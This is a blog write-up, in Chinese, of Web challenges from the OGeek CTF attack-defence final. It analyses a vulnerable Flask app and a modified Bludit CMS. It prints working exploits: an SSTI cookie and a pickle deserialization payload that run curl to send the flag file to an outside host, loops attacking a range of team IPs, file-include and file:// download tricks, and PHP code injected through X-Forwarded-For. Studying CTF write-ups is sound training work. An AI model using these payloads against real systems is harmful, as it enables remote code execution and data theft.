OGeek决赛两道Web总结分析

很久没有打攻防赛了,致力于写出Perfect文件监控脚本我在这次比赛翻车了,服务器没有pytyon2环境,所以回来更新成了python3了,旅游队伍意外拿了个季军,总的来说赞一下这次比赛,体验还是不错的,小小总结一下决赛的Web(场上弟弟,赛后分析,不会java,漏洞也肯定没找全,欢迎师傅贴个文章学习一波)python和php题目源码下载地址:https://pan.baidu.com/s/1DdmgtN0cZpGsX_q1j-ooTQ 提取码: 1jpa

0x01 mOtrix

一道python题,这里贴下源码

from flask import Flask, request, render_template,send_from_directory, make_response
from Archives import Archives
import pickle,base64,os
from jinja2 import Environment
from random import choice
import numpy
import builtins
import io
import re

app = Flask(__name__)
Jinja2 = Environment()
def set_str(type,str):
    retstr = "%s'%s'"%(type,str)
    print(retstr)
    return eval(retstr)
def get_cookie():
    check_format = ['class','+','getitem','request','args','subclasses','builtins','{','}']
    return choice(check_format)

@app.route('/')
def index():
    global Archives
    resp = make_response(render_template('index.html', Archives = Archives))
    cookies = bytes(get_cookie(), encoding = "utf-8")
    value = base64.b64encode(cookies)
    resp.set_cookie("username", value=value)
    return resp

@app.route('/Archive/<int:id>')
def Archive(id):
    global Archives
    if id>len(Archives):
        return render_template('message.html', msg='文章ID不存在!', status='失败')
    return render_template('Archive.html',Archive = Archives[id])

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        try:
            info = base64.b64decode(request.cookies.get('user'))
            info = pickle.loads(info)
            username = info["name"]
        except Exception as e:
            print(e)
            username = "Guest"

        if len(msg)>27:
            return render_template('message.html', msg='留言太长了!', status='留言失败')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)


@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量点积')


@app.route('/robots.txt',methods=['GET'])
def texts():
    return send_from_directory('/', 'flag', as_attachment=True)

if __name__ == '__main__':
    app.run(host='0.0.0.0',port='5000',debug=True)

#我应该没在这上面动过

这题的洞比较多也很明显,开场就打飞了,在这上面翻车的,也在这上面薅了不少分......

1.内置后门

@app.route('/robots.txt',methods=['GET'])
def texts():
    return send_from_directory('/', 'flag', as_attachment=True)

直接读flag文件到robots.txt文件了,所以直接访问/robots.txt就拿到flag了。

2.代码拼接

def set_str(type,str):
    retstr = "%s'%s'"%(type,str)
    print(retstr)
    return eval(retstr)

set_str在/message处进行了调用,其中变量str取值msg,只进行了简单的处理

        if len(msg)>27:
            return render_template('message.html', msg='留言太长了!', status='留言失败')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)

所以可以任意拼接代码,给msg赋值为

'+open('/flag').read()+'

触发eval,直接read读取flag

3.SSTI

@app.route('/hello',methods=['GET', 'POST'])
def hello():
    username = request.cookies.get('username')
    username = str(base64.b64decode(username), encoding = "utf-8")
    data = Jinja2.from_string("Hello , " + username + '!').render()
    is_value = False
    return render_template('hello.html', msg=data,is_value=is_value)

数据接口为cookie中的username,取值后进行了一次base64解码,通过Jinja2.from_string('****').render()来触发SSTI,不会的阔以参考:https://www.exploit-db.com/exploits/46386,我们在打的时候没回显,所以用的是反弹flag的方式,弹到本地然后再交,贴下payload

while True:
    for i in range(3,21):
        try:
            #payload = "system('cat /flag');"
            Url ="http://10.0.%s.4:5000/hello"% i 
            cookie = {'username':'e3sgKCkuX19jbGFzc19fLl9fYmFzZXNfX1swXS5fX3N1YmNsYXNzZXNfXygpWzkzXS5fX2luaXRfXy5fX2dsb2JhbHNfX1sic3lzIl0ubW9kdWxlc1sib3MiXS5zeXN0ZW0oJ2N1cmwgImh0dHA6Ly8xMC4xMC4yLjIwNzozMDAxL2ZsYWciIC1kICIkKGNhdCAvZj8/PykiJykgfX0='}
            #print Url
            IP = '10.0.%s.4'% i
            print 'Target:' + IP
            result=requests.post(url=Url,cookies = cookie,timeout=3)
            '''flag=result.text
            mat = re.compile(".*([0-9a-zA-Z]{20}).*")
            flag = mat.findall(flag)[0]
            print flag
            submit_token(flag)'''
            #submit_cookie(IP,flag)
        except:
            sleep(0.1)
    sleep(200)

本地起个服务接收并提交flag就行了

4.反序列化

@app.route('/message',methods=['POST','GET'])
def message():
    if request.method == 'GET':
        return render_template('message.html')
    else:
        type = request.form['type'][:1]
        msg = request.form['msg']
        try:
            info = base64.b64decode(request.cookies.get('user'))
            info = pickle.loads(info)
            username = info["name"]
        except Exception as e:
            print(e)
            username = "Guest"

        if len(msg)>27:
            return render_template('message.html', msg='留言太长了!', status='留言失败')
        msg = msg.replace(' ','')
        msg = msg.replace('_', '')
        retstr = set_str(type,msg)
        return render_template('message.html',msg=retstr,status='%s,留言成功'%username)

一个pickle的反序列化,没啥东西,直接贴下payload

import requests
import pickle
import os
import base64
import time


class exp(object):
    def __reduce__(self):
        s = """curl -F token=mEs8j1Dl -F flag=$(cat /flag) http://10.10.0.2/api/flag/submit"""
        return (os.system, (s,))

e = exp()
s = pickle.dumps(e)
post_data = {'msg':'','type':''}
cookie = {'user',base64.b64encode(s).decode()}
if __name__ == '__main__':
    for i in range(1,21):
        url = http://10.0.%s.4:5000/message"% i
        try:
            response = requests.post(url = url, cookies = cookie,data = post_data)
        except:
            time.sleep(0.1)

反序列化第二个点是numpy(我看的时候看版本挺新的,由于其触发主要还是pickle,所以这个点还是能够触发反序列化)

@app.route('/getvdot',methods=['POST','GET'])
def getvdot():
    if request.method == 'GET':
        return render_template('getvdot.html')
    else:
        matrix1 = base64.b64decode(request.form['matrix1'])
        matrix2 = base64.b64decode(request.form['matrix2'])
        try:
            matrix1 = numpy.loads(matrix1)
            matrix2 = numpy.loads(matrix2)
        except Exception as e:
            print(e)
        result = numpy.vdot(matrix1,matrix2)
        print(result)
        return render_template('getvdot.html',msg=result,status='向量点积')

参考https://j7ur8.github.io/WebBook/Python/Numpy%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C.html

import numpy
import pickle

class genpoc(object):

    def __reduce__(self):
        import os
        s = """ls"""
        return os.system, (s,) 

e = genpoc()
flag=0
if flag:
    poc = pickle.dumps(e)
    print(poc)
else:
    with open('1.pkl', 'wb') as f:
        pickle.dump(e, f)

numpy.load('1.pkl');

把生成的1.pkl读出来直接赋值给matrix1,matrix2打就行了(感谢f1sh大师傅的指导),本地没环境,就不贴图了~

0x02 OZero

这里先贴下场上的时候z3r0yu师傅对比后的分析日志,源码下载地址:https://github.com/bludit/bludit/releases

被修改的几个点
1. bl-kernel/site.class.php
'dribbble'=>        '',
'customFields'=>    '{}'


2. bl-kernel/pagex.class.php
// Returns the value from the field, false if the fields doesn't exists
// If you set the $option as TRUE, the function returns an array with all the values of the field
public function custom($field, $options=false)
{
    if (isset($this->vars['custom'][$field])) {
        if ($options) {
            return $this->vars['custom'][$field];
        }
        return $this->vars['custom'][$field]['value'];
    }
    return false;
}


3. bl-kernel/pages.class.php
elseif ($field=='custom') {
    if (isset($args['custom'])) {
        global $site;
        $customFields = $site->customFields();
        foreach ($args['custom'] as $customField=>$customValue) {
            $html = Sanitize::html($customValue);
            // Store the custom field as defined type
            settype($html, $customFields[$customField]['type']);
            $row['custom'][$customField]['value'] = $html;
        }
        unset($args['custom']);
        continue;
    }

} elseif ($field=='custom') {
    if (isset($args['custom'])) {
        global $site;
        $customFields = $site->customFields();
        foreach ($args['custom'] as $customField=>$customValue) {
            $html = Sanitize::html($customValue);
            // Store the custom field as defined type
            settype($html, $customFields[$customField]['type']);
            $row['custom'][$customField]['value'] = $html;
        }
        unset($args['custom']);
        continue;
    }

// Insert custom fields to all the pages in the database
// The structure for the custom fields need to be a valid JSON format
// The custom fields are incremental, this means the custom fields are never deleted
// The pages only store the value of the custom field, the structure of the custom fields are in the database site.php
public function setCustomFields($fields)
{
    $customFields = json_decode($fields, true);
    if (json_last_error() != JSON_ERROR_NONE) {
        return false;
    }
    foreach ($this->db as $pageKey=>$pageFields) {
        foreach ($customFields as $customField=>$customValues) {
            if (!isset($pageFields['custom'][$customField])) {
                $defaultValue = '';
                if (isset($customValues['default'])) {
                    $defaultValue = $customValues['default'];
                }
                $this->db[$pageKey]['custom'][$customField]['value'] = $defaultValue;
            }
        }
    }

    return $this->save();
}    


4. bl-kernel/helpers/tcp.class.php
file_put_contents可能存在任意写
    public static function download($url, $destination)
    {
        $data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
        return file_put_contents($destination, $data);
    }

疑似一个反序列化之后的任意文件写
public function __destruct(){
    if(isset($this->filepath) && isset($this->error_log)){ 
          file_put_contents(PATH_UPLOADS_PROFILES.$this->filepath,$this->error_log);
  }
}

5. bl-kernel/functions.php
疑似可以触发上述的反序列化
// Check media
$music = $_GET['path'];
if(isset($music)){
    if(!Sanitize::pathFile($music)){
        $filename = basename($music);
        TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
    }
    else{
        Log::set(__METHOD__.LOG_SEP.'Media request in  '.date('Y-m-d'), LOG_TYPE_INFO);

    }
}

比原代码多了对json的处理
if (isset($args['customFields'])) {
    // Custom fields need to be JSON format valid, also the empty JSON need to be "{}"
    json_decode($args['customFields']);
    if (json_last_error() != JSON_ERROR_NONE) {
        return false;
    }
    $pages->setCustomFields($args['customFields']);
}

如果可以移动并重命名,说不定就可以利用和这个写shell
// Move the image to a proper place and rename
$image = $imageDir.$nextFilename;
Filesystem::mv($file, $image);
chmod($image, 0644);

6. tokenCSRF 被删除了,所以不需要兼顾token


7. bl-kernel/boot/rules/60.router.php
此处的include获取可以配合errorlog来getshell

else{
    $pageKey = explode("/", $pageKey);
    foreach($pageKey as $key){
        if(constant($key))
            $plugin .=constant($key);
        else
            $plugin .="/".$key;
    }

    }
    $plugin = str_replace("..","/",$plugin);
    if(file_exists($plugin)){
        $plugin = addslashes($plugin);
        include $plugin;
    }
}

8. bl-kernel/boot/init.php   此处的new TCP跟上面的反序列化有点暗示
define('DEBUG_MODE', TRUE);
$https      = new TCP();

9. bl-kernel/admin/views/settings.php
<?php $L->p('Custom fields') ?>

10. bl-kernel/admin/views/new-content.php
<?php if (!empty($site->customFields())): ?>
<a class="nav-link" id="nav-custom-tab" data-toggle="tab" href="#nav-custom" role="tab" aria-controls="custom"><?php $L->p('Custom') ?></a>
<?php endif ?>


<?php if (!empty($site->customFields())): ?>
<div id="nav-custom" class="tab-pane fade" role="tabpanel" aria-labelledby="custom-tab">
<?php
    $customFields = $site->customFields();
    foreach($customFields as $field=>$options) {
        if ($options['type']=="string") {
            echo Bootstrap::formInputTextBlock(array(
                'name'=>'custom['.$field.']',
                'label'=>(isset($options['label'])?$options['label']:''),
                'value'=>(isset($options['default'])?$options['default']:''),
                'tip'=>(isset($options['tip'])?$options['tip']:''),
                'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:'')
            ));
        } elseif ($options['type']=="bool") {
            echo Bootstrap::formCheckbox(array(
                'name'=>'custom['.$field.']',
                'label'=>(isset($options['label'])?$options['label']:''),
                'placeholder'=>(isset($options['placeholder'])?$options['placeholder']:''),
                'checked'=>(isset($options['checked'])?true:false),
                'labelForCheckbox'=>(isset($options['tip'])?$options['tip']:'')
            ));
        }
    }
?>
</div>
<?php endif ?>

这里分析三个漏洞(反序列化用文件操作应该是可以触发的),师傅们要是分析了其他的求贴一波文章。

1.任意文件下载

经过对比分析的,可以看到tcp.class.php文件中的download方法存在任意写的问题,即向某个url发送GET请求,将返回数据写入$destination变量值命令的文件中。

#bl-kernel/helpers/tcp.class.php
    public static function download($url, $destination)
    {
        $data = self::http($url, $method='GET', $verifySSL=true, $timeOut=30, $followRedirections=true, $binary=true, $headers=false);
        return file_put_contents($destination, $data);
    }

该方法在bl-kernel/function.php中进行了调用

    elseif ($for=='category') {
        $numberOfItems = $site->itemsPerPage();
        // Check media
        $music = $_GET['path'];
        if(isset($music)){
            if(!Sanitize::pathFile($music)){
                $filename = basename($music);
                TCP::download($music,PATH_UPLOADS_PROFILES.md5($filename)."."."avi");
            }
            else{
                Log::set(__METHOD__.LOG_SEP.'Media request in  '.date('Y-m-d'), LOG_TYPE_INFO);

            }
        }
        $list = $categories->getList($categoryKey, $pageNumber, $numberOfItems);
    }

也就是说进入了category就可以调用了TCP类中的download方法,从而可知,我们可以下载文件到本地,并会重命名为文件名的MD5值为新文件名,并且为avi格式文件,所以我们可以利用file协议来下载本地文件,即payload为

category/music?path=file:///flag

(这个点一开始我们没审出来,因为上了个文件监控,发现突然生成了一个flag文件,然后直接脚本跑全场直接读Archer大佬们生成的flag文件,就这样开始起飞了,23333)

2.任意文件包含

同样在对比分析的日志里

7. bl-kernel/boot/rules/60.router.php
此处的include获取可以配合errorlog来getshell

if ($url->whereAmI()=='page' && !$url->notFound()) {
    $pageKey = $url->slug();
    if (Text::endsWith($pageKey, '/')) {
        $pageKey = rtrim($pageKey, '/');
        Redirect::url(DOMAIN_PAGES.$pageKey);
    }
    else{
    $pageKey = explode("/", $pageKey);
    foreach($pageKey as $key){
        if(constant($key))
            $plugin .=constant($key);
        else
            $plugin .="/".$key;
    }

    }
    
    $plugin = str_replace("..","/",$plugin);
    if(file_exists($plugin)){
        $plugin = addslashes($plugin);
        include $plugin;
    }
}

errorlog的点没有触发成功,不过这个倒是可以配合任意文件下载来Getshell,只要下载一个木马文件,然后包含就成了,因为前一个洞打得早,所以基本都修了,简单分析一下这个点。
跟进分析的话可以看出首先将url的path赋值给了变量$pageKey ,判断是否正常以'/'结尾,我们直接看非'/'结尾的,将path用'/'分割,用constant函数来判断是否是定义的常量,是便将常量值拼接,不是便重新恢复回path,最关键的是

    $plugin = str_replace("..","/",$plugin);
    if(file_exists($plugin)){
        $plugin = addslashes($plugin);
        include $plugin;

进行..替换后,如果path表示的文件存在,addslashes()处理后直接进行文件包含,也就是说如果我url上带的是一个真实路径,就会直接文件包含了,这太真实了(在场上没精力分析- -..)所以payload

http://x.x.x.x:xxx/flag

也可以结合前面进行Getshell

3.代码注入

首先贴一张赛后收到的图片

看到这个我都懵了,我下源码就扫了一遍,并没有内置的后门,所以肯定是有师傅调通了调用链,把代码给写进去了,tql(近期满课,木得时间看这些东西,吼了陌小生师傅分析了一波,这里就直接借鉴他的来写了),文件路径:bl-content/databases/security.php,由于文件路由,并不能直接访问这个文件,这个肯定是在调用过程中写入的,触发的话就阔以用的任意文件包含来触发RCE,我们先来找一波调用链,我比较喜欢用全局搜索来跟代码(所以我这么菜),全局找下blackList

跟到security.class.php中有个addToBlacklist方法,简单明了,用来加黑名单的

    // Add or update the current client IP on the blacklist
    public function addToBlacklist()
    {
        $ip = $this->getUserIp();
        $currentTime = time();
        $numberFailures = 1;

        if (isset($this->db['blackList'][$ip])) {
            $userBlack = $this->db['blackList'][$ip];
            $lastFailure = $userBlack['lastFailure'];

            // Check if the IP is expired, then renew the number of failures
            if($currentTime <= $lastFailure + ($this->db['minutesBlocked']*60)) {
                $numberFailures = $userBlack['numberFailures'];
                $numberFailures = $numberFailures + 1;
            }
        }

        $this->db['blackList'][$ip] = array('lastFailure'=>$currentTime, 'numberFailures'=>$numberFailures);
        Log::set(__METHOD__.LOG_SEP.'Blacklist, IP:'.$ip.', Number of failures:'.$numberFailures);
        return $this->save();
    }

......

    public function getUserIp()
    {
        if (getenv('HTTP_X_FORWARDED_FOR')) {
            $ip = getenv('HTTP_X_FORWARDED_FOR');
        } elseif (getenv('HTTP_CLIENT_IP')) {
            $ip = getenv('HTTP_CLIENT_IP');
        } else {
            $ip = getenv('REMOTE_ADDR');
        }
        return $ip;
    }

看下代码就很清楚了,把登录失败的用户的ip加到黑名单里,ip可以用XFF来构造,所以变量$ip是我们可控的了,也就是如果某个ip触发了黑名单规则,就会被记录下来,传入$this->db,调用save函数,跟进看下

#\bl-kernel\abstract\dbjson.class.php
    public function save()
    {
        $data = '';
        if ($this->firstLine) {
            $data  = "<?php defined('Zero') or die('Zero CMS.'); ?>".PHP_EOL;
        }

        // Serialize database
        $data .= $this->serialize($this->db);

        // Backup the new database.
        $this->dbBackup = $this->db;

        // LOCK_EX flag to prevent anyone else writing to the file at the same time.
        if (file_put_contents($this->file, $data, LOCK_EX)) {
            return true;
        } else {
            Log::set(__METHOD__.LOG_SEP.'Error occurred when trying to save the database file.', LOG_TYPE_ERROR);
            return false;
        }
    }

将this->db的数据拼接到了变量$data中,然后直接进行了file_put_contents操作,而在init.php中有申明了

define('DB_SECURITY', PATH_DATABASES.'security.php');

DB_SECURITY为传入构造函数的参数,也就是file,即写操作时将$data写入到了security.php中,所以也就有了开场图的东西。发个请求包

POST /admin/ HTTP/1.1
Host: 192.168.211.128
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 82
Referer: http://192.168.211.128/admin/
X-Forwarded-For: <?php phpinfo(); ?>    #
Cookie: Zero-KEY=uihdv2ju8k4pfd6kl79fqpg6j3
Connection: close
Upgrade-Insecure-Requests: 1

tokenCSRF=92355c8ea77e31cc1fe5c1d7882d13dad37e9866&username=asd&password=asd&save=

在结合一下的文件包含洞

0x03 sec-login

本菜不会java,这题听说是反序列化,就不写了

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 158,736评论 4 362
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 67,167评论 1 291
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 108,442评论 0 243
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 43,902评论 0 204
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 52,302评论 3 287
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 40,573评论 1 216
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 31,847评论 2 312
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 30,562评论 0 197
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 34,260评论 1 241
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 30,531评论 2 245
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 32,021评论 1 258
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 28,367评论 2 253
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 33,016评论 3 235
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 26,068评论 0 8
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 26,827评论 0 194
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 35,610评论 2 274
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 35,514评论 2 269